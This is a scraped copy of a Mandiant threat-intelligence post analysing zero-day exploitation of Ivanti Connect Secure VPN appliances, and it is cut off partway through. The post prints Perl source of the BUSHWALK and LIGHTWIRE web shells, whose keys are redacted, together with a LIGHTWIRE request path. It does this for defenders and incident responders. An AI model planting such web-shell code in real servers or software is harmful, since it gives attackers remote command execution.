,'https:\/\/accounts.google.com\/AccountChooser?continue\x3dhttps:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/investigating-ivanti-zero-day-exploitation\/\x26hl\x3den-US','https:\/\/accounts.google.com\/ServiceLogin?hl\x3den-US\x26continue\x3dhttps:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/investigating-ivanti-zero-day-exploitation\/','https:\/\/accounts.google.com\/SignOutOptions?continue\x3dhttps:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/investigating-ivanti-zero-day-exploitation\/',[[[1]]], false , false , false ,'en','en-US','en_US','https:\/\/goto2.corp.google.com\/mdtredirect?data_id_filter\x3dcloud.google.com\x26system_name\x3dcloudx-web-blog-uiserver', null , null ,'https:\/\/myaccount.google.com\/privacypolicy?hl\x3den-US', false , null ,'https:\/\/www.gstatic.com\/_\/boq-cloudx-web-blog\/_\/r\/','https:\/\/myaccount.google.com\/termsofservice?hl\x3den-US',[[[["Solutions \u0026 technology",null,[[["AI \u0026 Machine Learning","/blog/products/ai-machine-learning"],["API Management","/blog/products/api-management"],["Application Development","/blog/products/application-development"],["Application Modernization","/blog/products/application-modernization"],["Chrome Enterprise","/blog/products/chrome-enterprise"],["Compute","/blog/products/compute"],["Containers \u0026 Kubernetes","/blog/products/containers-kubernetes"],["Data Analytics","/blog/products/data-analytics"],["Databases","/blog/products/databases"],["DevOps \u0026 SRE","/blog/products/devops-sre"],["Maps \u0026 Geospatial","/blog/topics/maps-geospatial"],["Security",null,[[["Security \u0026 Identity","/blog/products/identity-security"],["Threat Intelligence","/blog/topics/threat-intelligence"]]]],["Infrastructure","/blog/products/infrastructure"],["Infrastructure Modernization","/blog/products/infrastructure-modernization"],["Networking","/blog/products/networking"],["Productivity \u0026 Collaboration","/blog/products/productivity-collaboration"],["SAP on Google Cloud","/blog/products/sap-google-cloud"],["Storage \u0026 Data Transfer","/blog/products/storage-data-transfer"],["Sustainability","/blog/topics/sustainability"]]]],["Ecosystem",null,[[["IT Leaders","/transform"],["Industries",null,[[["Financial Services","/blog/topics/financial-services"],["Healthcare \u0026 Life Sciences","/blog/topics/healthcare-life-sciences"],["Manufacturing","/blog/topics/manufacturing"],["Media \u0026 Entertainment","/blog/products/media-entertainment"],["Public Sector","/blog/topics/public-sector"],["Retail","/blog/topics/retail"],["Supply Chain","/blog/topics/supply-chain-logistics"],["Telecommunications","/blog/topics/telecommunications"]]]],["Partners","/blog/topics/partners"],["Startups \u0026 SMB","/blog/topics/startups"],["Training \u0026 Certifications","/blog/topics/training-certifications"],["Inside Google Cloud","/blog/topics/inside-google-cloud"],["Google Cloud Next \u0026 Events","/blog/topics/google-cloud-next"],["Google Maps Platform","https://mapsplatform.google.com/resources/blog/"],["Google Workspace","https://workspace.google.com/blog"]]]],["Developers \u0026 Practitioners","/blog/topics/developers-practitioners"],["Transform with Google Cloud","/transform"]]],[["de",[[["Neuigkeiten","/blog/de/topics/whats-new/aktuelles-auf-dem-google-cloud-blog"],["Lösungen \u0026 Technologien",null,[[["Anwendungsentwicklung","/blog/de/products/application-development"],["Anwendungsmodernisierung","/blog/de/products/anwendungsmodernisierung"],["API-Verwaltung","/blog/de/products/api-management"],["Chrome Enterprise","/blog/de/products/chrome-enterprise"],["Computing","/blog/de/products/compute"],["Containers \u0026 Kubernetes","/blog/de/products/containers-kubernetes"],["Datenanalysen","/blog/de/products/data-analytics"],["Datenbanken","/blog/de/products/databases"],["DevOps \u0026 SRE","/blog/de/products/devops-sre"],["Infrastruktur","/blog/de/products/infrastructure"],["KI \u0026 Machine Learning","/blog/de/products/ai-machine-learning"],["Maps \u0026 Geospatial","/blog/de/topics/maps-geospatial"],["Modernisierung der Infrastruktur","/blog/de/products/modernisierung-der-infrastruktur"],["Nachhaltigkeit","/blog/de/topics/nachhaltigkeit"],["Netzwerk","/blog/de/products/networking"],["Produktivität und Zusammenarbeit","/blog/de/products/produktivitaet-und-kollaboration"],["SAP in Google Cloud","/blog/de/products/sap-google-cloud"],["Sicherheit \u0026 Identität","/blog/de/products/identity-security"],["Speicher und Datentransfer","/blog/de/products/storage-data-transfer"]]]],["Ökosystem",null,[[["IT Leader","/transform/de"],["Industrien",null,[[["Behörden und öffentlicher Sektor","/blog/de/topics/public-sector"],["Einzelhandel","/blog/de/topics/retail"],["Fertigung","/blog/de/topics/fertigung"],["Finanzdienstleistungen","/blog/de/topics/financial-services"],["Gesundheitswesen und Biowissenschaften","/blog/de/topics/healthcare-life-sciences"],["Lieferkette und Logistik","/blog/de/topics/lieferkette-und-logistik"],["Medien und Unterhaltung","/blog/de/products/media-entertainment"],["Telekommunikation","/blog/de/topics/telecommunications"]]]],["Entwickler*innen \u0026 Fachkräfte","/blog/de/topics/developers-practitioners"],["Google Cloud Next \u0026 Events","/blog/de/topics/events"],["Google Maps Platform","/blog/de/products/maps-platform"],["Google Workspace","https://workspace.google.com/blog/de"],["Inside Google Cloud","/blog/de/topics/inside-google-cloud"],["Kunden","/blog/de/topics/kunden"],["Partner","/blog/de/topics/partners"],["Start-ups und KMU","/blog/de/topics/startups"],["Training und Zertifizierung","/blog/de/topics/training-certifications"]]]],["Transformation mit Google Cloud","/transform/de"]]]],["en",[[["Solutions \u0026 technology",null,[[["AI \u0026 Machine Learning","/blog/products/ai-machine-learning"],["API Management","/blog/products/api-management"],["Application Development","/blog/products/application-development"],["Application Modernization","/blog/products/application-modernization"],["Chrome Enterprise","/blog/products/chrome-enterprise"],["Compute","/blog/products/compute"],["Containers \u0026 Kubernetes","/blog/products/containers-kubernetes"],["Data Analytics","/blog/products/data-analytics"],["Databases","/blog/products/databases"],["DevOps \u0026 SRE","/blog/products/devops-sre"],["Maps \u0026 Geospatial","/blog/topics/maps-geospatial"],["Security",null,[[["Security \u0026 Identity","/blog/products/identity-security"],["Threat Intelligence","/blog/topics/threat-intelligence"]]]],["Infrastructure","/blog/products/infrastructure"],["Infrastructure Modernization","/blog/products/infrastructure-modernization"],["Networking","/blog/products/networking"],["Productivity \u0026 Collaboration","/blog/products/productivity-collaboration"],["SAP on Google Cloud","/blog/products/sap-google-cloud"],["Storage \u0026 Data Transfer","/blog/products/storage-data-transfer"],["Sustainability","/blog/topics/sustainability"]]]],["Ecosystem",null,[[["IT Leaders","/transform"],["Industries",null,[[["Financial Services","/blog/topics/financial-services"],["Healthcare \u0026 Life Sciences","/blog/topics/healthcare-life-sciences"],["Manufacturing","/blog/topics/manufacturing"],["Media \u0026 Entertainment","/blog/products/media-entertainment"],["Public Sector","/blog/topics/public-sector"],["Retail","/blog/topics/retail"],["Supply Chain","/blog/topics/supply-chain-logistics"],["Telecommunications","/blog/topics/telecommunications"]]]],["Partners","/blog/topics/partners"],["Startups \u0026 SMB","/blog/topics/startups"],["Training \u0026 Certifications","/blog/topics/training-certifications"],["Inside Google Cloud","/blog/topics/inside-google-cloud"],["Google Cloud Next \u0026 Events","/blog/topics/google-cloud-next"],["Google Maps Platform","https://mapsplatform.google.com/resources/blog/"],["Google Workspace","https://workspace.google.com/blog"]]]],["Developers \u0026 Practitioners","/blog/topics/developers-practitioners"],["Transform with Google Cloud","/transform"]]]],["fr",[[["Les tendances","/blog/fr/topics/les-tendances/quelles-sont-les-nouveautes-de-google-cloud"],["Solutions et Technologie",null,[[["Analyse de données","/blog/fr/products/analyse-de-donnees/"],["Bases de données","/blog/fr/products/databases"],["Calcul","/blog/fr/products/calcul/"],["Chrome Entreprise","/blog/fr/products/chrome-enterprise/"],["Conteneurs et Kubernetes","/blog/fr/products/conteneurs-et-kubernetes/"],["Développement d'Applications","/blog/fr/products/application-development"],["Développement durable","/blog/fr/topics/developpement-durable"],["DevOps et ingénierie SRE","/blog/fr/products/devops-sre"],["Gestion des API","/blog/fr/products/api-management"],["IA et Machine Learning","/blog/fr/products/ai-machine-learning"],["Infrastructure","/blog/fr/products/infrastructure"],["Maps et Géospatial","/blog/fr/topics/maps-geospatial"],["Modernisation d'Applications","/blog/fr/products/modernisation-dapplications/"],["Modernisation d'Infrastructure","/blog/fr/products/modernisation-dinfrastructure/"],["Networking","/blog/fr/products/networking"],["Productivité et Collaboration","/blog/fr/products/productivite-et-collaboration"],["SAP sur Google Cloud","/blog/fr/products/sap-google-cloud"],["Sécurité et Identité","/blog/fr/products/identity-security"],["Stockage et transfert de données","/blog/fr/products/storage-data-transfer"]]]],["Écosystème",null,[[["Responsables IT","/transform/fr"],["Industries",null,[[["Commerce","/blog/fr/topics/retail"],["Manufacturing","/blog/fr/topics/manufacturing"],["Médias et Divertissement","/blog/fr/products/media-entertainment"],["Santé","/blog/fr/topics/healthcare-life-sciences"],["Secteur Public","/blog/fr/topics/public-sector"],["Services Financiers","/blog/fr/topics/financial-services"],["Supply Chain","/blog/fr/topics/supply-chain/"],["Telecommunications","/blog/fr/topics/telecommunications"]]]],["Clients","/blog/fr/topics/clients/"],["Développeurs et professionnels","/blog/fr/topics/developers-practitioners"],["Formations et certifications","/blog/fr/topics/training-certifications"],["Google Cloud Next et Événements","/blog/fr/topics/evenements"],["Google Maps Platform","/blog/fr/products/maps-platform"],["Google Workspace","https://workspace.google.com/blog/fr"],["Inside Google Cloud","/blog/fr/topics/inside-google-cloud"],["Partenaires","/blog/fr/topics/partners"],["Start-ups et PME","/blog/fr/topics/startups"]]]],["Transformer avec Google Cloud","/transform/fr"]]]],["ja",[[["ソリューションとテクノロジー",null,[[["AI \u0026 機械学習","/blog/ja/products/ai-machine-learning"],["API 管理","/blog/ja/products/api-management"],["アプリケーション開発","/blog/ja/products/application-development"],["アプリケーション モダナイゼーション","/blog/ja/products/application-modernization"],["Chrome Enterprise","/blog/ja/products/chrome-enterprise"],["コンピューティング","/blog/ja/products/compute"],["Containers \u0026 Kubernetes","/blog/ja/products/containers-kubernetes"],["データ分析","/blog/ja/products/data-analytics"],["データベース","/blog/ja/products/databases"],["DevOps \u0026 SRE","/blog/ja/products/devops-sre"],["Maps \u0026 Geospatial","/blog/ja/products/maps-platform"],["セキュリティ",null,[[["セキュリティ \u0026 アイデンティティ","/blog/ja/products/identity-security"],["脅威インテリジェンス","/blog/ja/topics/threat-intelligence"]]]],["インフラストラクチャ","/blog/ja/products/infrastructure"],["インフラ モダナイゼーション","/blog/ja/products/infrastructure-modernization"],["ネットワーキング","/blog/ja/products/networking"],["生産性とコラボレーション","/blog/ja/products/productivity-collaboration"],["Google Cloud での SAP","/blog/ja/products/sap-google-cloud"],["ストレージとデータ転送","/blog/ja/products/storage-data-transfer"],["サステナビリティ","/blog/ja/topics/sustainability"]]]],["エコシステム",null,[[["ITリーダー","/transform/ja"],["業種",null,[[["金融サービス","/blog/ja/topics/financial-services"],["ヘルスケア、ライフ サイエンス","/blog/ja/topics/healthcare-life-sciences"],["製造","/blog/ja/topics/manufacturing"],["メディア、エンターテイメント","/blog/ja/products/media-entertainment"],["公共部門","/blog/ja/topics/public-sector"],["小売業","/blog/ja/topics/retail"],["サプライ チェーン","/blog/ja/topics/supply-chain-logistics"],["通信","/blog/ja/topics/telecommunications"]]]],["顧客事例","/blog/ja/topics/customers"],["パートナー","/blog/ja/topics/partners"],["スタートアップ \u0026 SMB","/blog/ja/topics/startups"],["トレーニングと認定","/blog/ja/topics/training-certifications"],["Inside Google Cloud","/blog/ja/topics/inside-google-cloud"],["Google Cloud Next と イベント","/blog/ja/topics/google-cloud-next"],["Google Maps Platform","/blog/ja/products/maps-platform"],["Google Workspace","https://workspace.google.com/blog/ja"]]]],["デベロッパー","/blog/ja/topics/developers-practitioners"],["Transform with Google Cloud","/transform/ja"]]]],["ko",[[["솔루션 및 기술",null,[[["AI 및 머신러닝","/blog/ko/products/ai-machine-learning"],["API 관리","/blog/ko/products/api-management"],["애플리케이션 개발","/blog/ko/products/application-development"],["애플리케이션 현대화","/blog/ko/products/application-modernization"],["Chrome Enterprise","/blog/products/chrome-enterprise"],["컴퓨팅","/blog/ko/products/compute"],["컨테이너 \u0026 Kubernetes","/blog/ko/products/containers-kubernetes"],["데이터 분석","/blog/ko/products/data-analytics"],["데이터베이스","/blog/ko/products/databases"],["DevOps 및 SRE","/blog/ko/products/devops-sre"],["Maps \u0026 Geospatial","/blog/ko/products/maps-platform"],["보안",null,[[["보안 \u0026 아이덴티티","/blog/ko/products/identity-security"],["위협 인텔리전스","/blog/ko/topics/threat-intelligence"]]]],["인프라","/blog/ko/products/infrastructure"],["Infrastructure Modernization","/blog/ko/products/infrastructure-modernization"],["네트워킹","/blog/ko/products/networking"],["생산성 및 공동작업","/blog/ko/products/productivity-collaboration"],["SAP on Google Cloud","/blog/ko/products/sap-google-cloud"],["스토리지 및 데이터 전송","/blog/ko/products/storage-data-transfer"],["지속가능성","/blog/ko/topics/sustainability"]]]],["에코시스템",null,[[["IT Leaders","/transform/ko"],["업종",null,[[["금융 서비스","/blog/ko/topics/financial-services"],["의료 및 생명과학","/blog/ko/topics/healthcare-life-sciences"],["제조업","/blog/ko/topics/manufacturing"],["미디어 및 엔터테인먼트","/blog/ko/products/media-entertainment"],["공공부문","/blog/ko/topics/public-sector"],["소매업","/blog/ko/topics/retail"],["공급망","/blog/topics/supply-chain-logistics"],["통신","/blog/ko/topics/telecommunications"]]]],["고객 사례","/blog/ko/topics/customers"],["파트너","/blog/ko/topics/partners"],["스타트업 \u0026 SMB","/blog/ko/topics/startups"],["교육 \u0026 인증","/blog/ko/topics/training-certifications"],["Inside Google Cloud","/blog/ko/topics/inside-google-cloud"],["Google Cloud Next 및 이벤트","/blog/ko/topics/google-cloud-next"],["Google Maps Platform","/blog/ko/products/maps-platform"],["Google Workspace","https://workspace.google.com/blog/ko"]]]],["개발 및 IT운영","/blog/ko/topics/developers-practitioners"],["Google Cloud와 함께 하는 디지털 혁신","/transform/ko"]]]]]],'cloud.google.com','https', null , false , null ,[[1714252,97442199,97656899,97785988,48897392,48554503,93778619,93874004,97517172,48887082,48830069,1706538,97889236,97684535,97894680,97863042,97535270,48489826,97442181,97656881,97785970,93873986,97517154,48887064,97684517],null,null,null,null,true],]; window.IJ_valuesCb && window.IJ_valuesCb();</script><script class="ds:0" nonce="Lh9XRrNZbyI2TSQR0nTTVQ">AF_initDataCallback({key: 'ds:0', hash: '1', data:[["Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation","Investigating broad zero-day exploitation of two high-impact vulnerabilities affecting Ivanti appliances.",[1706688000],"https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplif.max-2600x2600.png","https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation",[1711401043,930339000]],[["Mandiant "]],[null,"\u003cscript type\u003d\"application/ld+json\"\u003e{\"@context\":\"https://schema.org\",\"@type\":\"BlogPosting\",\"@id\":\"https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation\",\"headline\":\"Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation\",\"description\":\"Investigating broad zero-day exploitation of two high-impact vulnerabilities affecting Ivanti appliances.\",\"image\":\"https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplif.max-2600x2600.png\",\"author\":[{\"@type\":\"Person\",\"name\":\"Mandiant \",\"url\":\"\"}],\"datePublished\":\"2024-01-31\",\"publisher\":{\"@type\":\"Organization\",\"name\":\"Google Cloud\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https://www.gstatic.com/devrel-devsite/prod/v8bb8fa0afe9a8c3a776ebeb25d421bb443344d789b3607754dfabea418b8c4be/cloud/images/cloud-logo.svg\"}},\"url\":\"https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation\",\"keywords\":[\"Threat Intelligence\"],\"timeRequired\":\"PT39M\"}\u003c/script\u003e"],["Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation"],null,null,[[null,null,[null,[null,"\u003cp\u003eWritten by: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u00a0\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cp\u003eOn Jan. 12, 2024, Mandiant published a\u00a0\u003ca href\u003d\"https://cloud.google.com/blog/topics/threat-intelligence/suspected-apt-targets-ivanti-zero-day\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eblog post\u003c/u\u003e\u003c/a\u003e\u00a0detailing two high-impact zero-day vulnerabilities,\u00a0\u003ca href\u003d\"https://nvd.nist.gov/vuln/detail/CVE-2023-46805\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eCVE-2023-46805\u003c/u\u003e\u003c/a\u003e\u00a0and\u00a0\u003ca href\u003d\"https://nvd.nist.gov/vuln/detail/CVE-2024-21887\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eCVE-2024-21887\u003c/u\u003e\u003c/a\u003e, affecting Ivanti Connect Secure VPN (CS, formerly Pulse Secure) and Ivanti Policy Secure (PS) appliances. On Jan. 31, 2024, Ivanti\u00a0\u003ca href\u003d\"https://www.ivanti.com/blog/security-update-for-ivanti-connect-secure-and-ivanti-policy-secure-gateways\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003edisclosed\u003c/u\u003e\u003c/a\u003e\u00a0two additional vulnerabilities impacting CS and PS devices,\u00a0CVE-2024-21888 and CVE-2024-21893.\u003c/p\u003e\n\u003cp\u003eThe vulnerabilities allow for an unauthenticated threat actor to execute arbitrary commands on the appliance with elevated privileges. As previously reported, Mandiant has identified zero-day exploitation of these vulnerabilities in the wild beginning as early as Dec. 3, 2023 by a suspected China-nexus espionage threat actor currently being tracked as\u00a0\u003cu\u003eUNC5221\u003c/u\u003e.\u00a0\u003c/p\u003e\n\u003cp\u003eMandiant has identified broad exploitation activity following the disclosure of the two vulnerabilities, both by UNC5221 and other uncategorized threat groups. Mandiant assesses that a significant portion of the post-advisory activity has been performed through automated methods.\u003c/p\u003e\n\u003cp\u003eIn this follow-up blog post, we detail additional tactics, techniques, and procedures (TTPs) employed by UNC5221 and other threat groups during post-exploitation activity across our incident response engagements. We also detail new malware families and variants to previously identified malware families being used by UNC5221. We acknowledge the possibility that one or more related groups may be associated with the activity described in this blog post. It is likely that additional groups beyond UNC5221 have adopted one or more of these tools.\u003c/p\u003e\n\u003cp\u003eThese observations have been supported through Mandiant's incident response engagements, working with Ivanti, and our partners. Mandiant is also providing additional recommendations for network defenders, including indicators of compromise (IOCs), YARA rules, and a\u00a0\u003ca href\u003d\"https://services.google.com/fh/files/misc/ivanti-connect-secure-remediation-hardening.pdf\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003ehardening guide\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e\u00a0Ivanti has released its first round of patches starting today, and it is scheduled to continue rolling out additional patches over the coming weeks. Ivanti recommends customers awaiting patches to apply the\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003emitigation\u003c/u\u003e\u003c/a\u003e, run the external\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/KB44755?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eIntegrity Checker Tool\u003c/u\u003e\u003c/a\u003e\u00a0(ICT) to check for evidence of exploitation, and continue following the\u00a0\u003ca href\u003d\"https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language\u003den_US\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eKB article\u003c/u\u003e\u003c/a\u003e\u00a0to receive product updates as they become available.\u00a0\u003c/p\u003e\n\u003ch2\u003ePost Exploitation Activity Updates\u003c/h2\u003e\n\u003ch3\u003eMitigation Bypass\u003c/h3\u003e\n\u003cp\u003eA mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked as\u00a0\u003cu\u003eBUSHWALK\u003c/u\u003e. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024. At this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the post-advisory mass exploitation activity.\u00a0\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e\u00a0The external ICT successfully detected the presence of the new web shell. We have observed the threat actor clean up traces of their activity and restore the system to a clean state after deploying BUSHWALK through the mitigation bypass technique. The ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat actor activity if they have returned the appliance to a clean state. In addition, the patches address and fix the mitigation bypass.\u003c/p\u003e\n\u003cp\u003eSimilar to other web shells observed in this campaign, BUSHWALK is written in Perl and is embedded into a legitimate CS file,\u00a0\u003ccode\u003equerymanifest.cgi\u003c/code\u003e. BUSHWALK provides a threat actor the ability to execute arbitrary commands or write files to a server.\u003c/p\u003e\n\u003cp\u003eBUSHWALK executes its malicious Perl function,\u00a0\u003ccode\u003evalidateVersion\u003c/code\u003e, if the web request\u00a0\u003ccode\u003eplatform\u003c/code\u003e\u00a0parameter is\u00a0\u003ccode\u003eSafariiOS\u003c/code\u003e. It uses Base64 and RC4 to decode and decrypt the threat actor\u2019s payload in the web request\u2019s\u00a0\u003ccode\u003ecommand\u003c/code\u003e\u00a0parameter.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003esub validateVersion {\r\n my ($rawdata) \u003d @_;\r\n if ($rawdata ne \u0026#39;\u0026#39;){\r\n $rawdata \u003d~ s/ /+/g;\r\n my $param0 \u003d MIME::Base64::decode($rawdata);\r\n my $key \u003d substr($param0, 0, 32);\r\n $key \u003d RC4(\u0026quot;\u0026lt;REDACTED\u0026gt;\u0026quot;, $key);\r\n my $data \u003d substr($param0,32);\r\n $data \u003d RC4($key, $data);\r\n my @param1 \u003d split(\u0026quot;@\u0026quot;,$data);\r\n my @action \u003d split(\u0026quot;\u003d\u0026quot;,$param1[0]);\r\n if ($action[1] eq \u0026#39;change\u0026#39;) {\r\n my $changeData \u003d (split(\u0026quot;\u003d\u0026quot;,$param1[1]))[1];\r\n changeVersion($changeData, $key);\r\n }\r\n elsif ($action[1] eq \u0026#39;update\u0026#39;){\r\n my $fname \u003d (split(\u0026quot;\u003d\u0026quot;,$param1[1]))[1];\r\n my $versionData \u003d (split(\u0026quot;#\u0026quot;,$param1[2]))[1];\r\n updateVersion($fname, $versionData);\r\n }\r\n else {\r\n print CGI::header(-type\u003d\u0026gt;\u0026quot;text/plain\u0026quot;, -status\u003d\u0026gt; \u0026#39;404 Not Found\u0026#39;);\r\n print \u0026quot;error\u0026quot;;\r\n }\r\n exit;\r\n }\r\n else{\r\n return;\r\n }\r\n}\u003c/code\u003e\u003c/pre\u003e\n\u003cp style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 1: \u003cspan style\u003d\"vertical-align:baseline\"\u003eEntry point to BUSHWALK execution\u003c/span\u003e\u003c/em\u003e\u003c/span\u003e\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe decrypted payload determines if the web shell should execute a command or write a file to the server.\u003c/p\u003e\n\u003cp\u003eIf the decrypted payload contains\u00a0\u003ccode\u003echange\u003c/code\u003e, BUSHWALK calls the\u00a0\u003ccode\u003echangeData\u003c/code\u003e\u00a0function to execute an arbitrary command on the compromised appliance. The malware first extracts the command from the buffer. The malware then executes the command and encrypts the command results with RC4 using the provided key.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003esub changeVersion\r\n{\r\n my ($u_time,$key) \u003d @_;\r\n my $o_fd \u003d popen(*DUMP, $u_time, \u0026quot;r\u0026quot;);\r\n my $ts;\r\n print CGI::header();\t\r\n while(\u0026lt;DUMP\u0026gt;) {\r\n $ts \u003d $ts.$_;\r\n }\r\n $ts \u003d RC4($key, $ts);\r\n my $tsc \u003d MIME::Base64::encode_base64($ts);\r\n print $tsc;\r\n close(*DUMP);\r\n}\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 2: changeVersion function to read an arbitrary file\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eIf the decrypted payload contains\u00a0\u003ccode\u003eupdate\u003c/code\u003e, BUSHWALK calls the\u00a0\u003ccode\u003eupdateVersion\u003c/code\u003e\u00a0function to write an arbitrary file to the server. It extracts a file path and the data to write to the file from the buffer. This file data is then Base64-decoded and written to the file at the specified path.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003esub updateVersion\r\n{\r\n my ($fname, $strbuf) \u003d @_;\r\n $strbuf \u003d MIME::Base64::decode($strbuf);\r\n CORE::open(my $file, \u0026quot;\u0026gt;\u0026gt;\u0026quot;,$fname) or return undef;\r\n syswrite($file, $strbuf);\r\n close($file);\r\n print CGI::header();\r\n print \u0026quot;over\u0026quot;;\r\n}\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 3: updateVersion function to write an arbitrary file\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003ch3\u003eLIGHTWIRE Variant\u003c/h3\u003e\n\u003cp\u003eMandiant has identified an additional variant of the\u00a0\u003cu\u003eLIGHTWIRE\u003c/u\u003e\u00a0web shell that inserts itself into a legitimate component of the VPN gateway,\u00a0\u003ccode\u003ecompcheckresult.cgi\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe new sample utilizes the same GET parameters as the original LIGHTWIRE sample described in our first blog post. Mandiant recommends hunting for GET requests containing these parameters within available web logs, unallocated space, and memory images.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003e/dana-na/auth/url_default/compcheckresult.cgi?comp\u003dcomp\u0026amp;compid\u003d\u0026lt;obfuscat\r\ned command\u0026gt;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 4: LIGHTWIRE GET parameters\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable to\u00a0\u003ccode\u003e$useCompOnly\u003c/code\u003e. Next, it will use the Perl\u00a0\u003ccode\u003etr\u003c/code\u003e\u00a0operator to transform the string using a character-by-character translation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued command is executed by calling\u00a0\u003ccode\u003eeval\u003c/code\u003e.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003emy $useCompOnly \u003d \u0026quot;\u0026lt;REDACTED\u0026gt;\u0026quot;;\r\n$useCompOnly \u003d~ tr/\u0026lt;REDACTED\u0026gt;/\u0026lt;REDACTED\u0026gt;/;\r\neval{my $c\u003dCrypt::RC4-\u0026gt;new(decode_base64($useCompOnly));my \r\n$d\u003d$c-\u0026gt;RC4(decode_base64(CGI::param(\u0026#39;compid\u0026#39;)));eval $d;}or \r\ndo{$Main::remedy1 \u003d \u0026quot;Compatibility check: $@\u0026quot;;}\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 5: Newly identified LIGHTWIRE variant\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cp\u003eThe original LIGHTWIRE sample detailed in our first blog post contains a simpler obfuscation routine. It will initialize an RC4 object and then immediately use the RC4 object to decrypt the issued command.\u003c/p\u003e"]]],[null,null,[null,[null,"\u003cdiv\u003e\n\u003cpre\u003e\u003ccode\u003eeval{my $c\u003dCrypt::RC4-\u0026gt;new(\u0026quot;\u0026lt;REDACTED\u0026gt;\u0026quot;);my \r\n$d\u003d$c-\u0026gt;RC4(decode_base64(CGI::param(\u0026#39;compid\u0026#39;)));eval $d;\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n\u003cdiv style\u003d\"text-align:center\"\u003e\u003cspan style\u003d\"color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%\"\u003e\u003cem\u003eFigure 6: Original LIGHTWIRE sample\u003c/em\u003e\u003c/span\u003e\u003c/div\u003e"]]],[null,null,[null,[null,"\u003ch3\u003eCHAINLINE Web Shell\u003c/h3\u003e\n\u003cp\u003eAfter the initial exploitation of an appliance, Mandiant identified UNC5221 leveraging a custom web shell that Mandiant is tracking as\u00a0\u003cu\u003eCHAINLINE\u003c/u\u003e. CHAINLINE is a Python web shell backdoor that is embedded in a Ivanti Connect 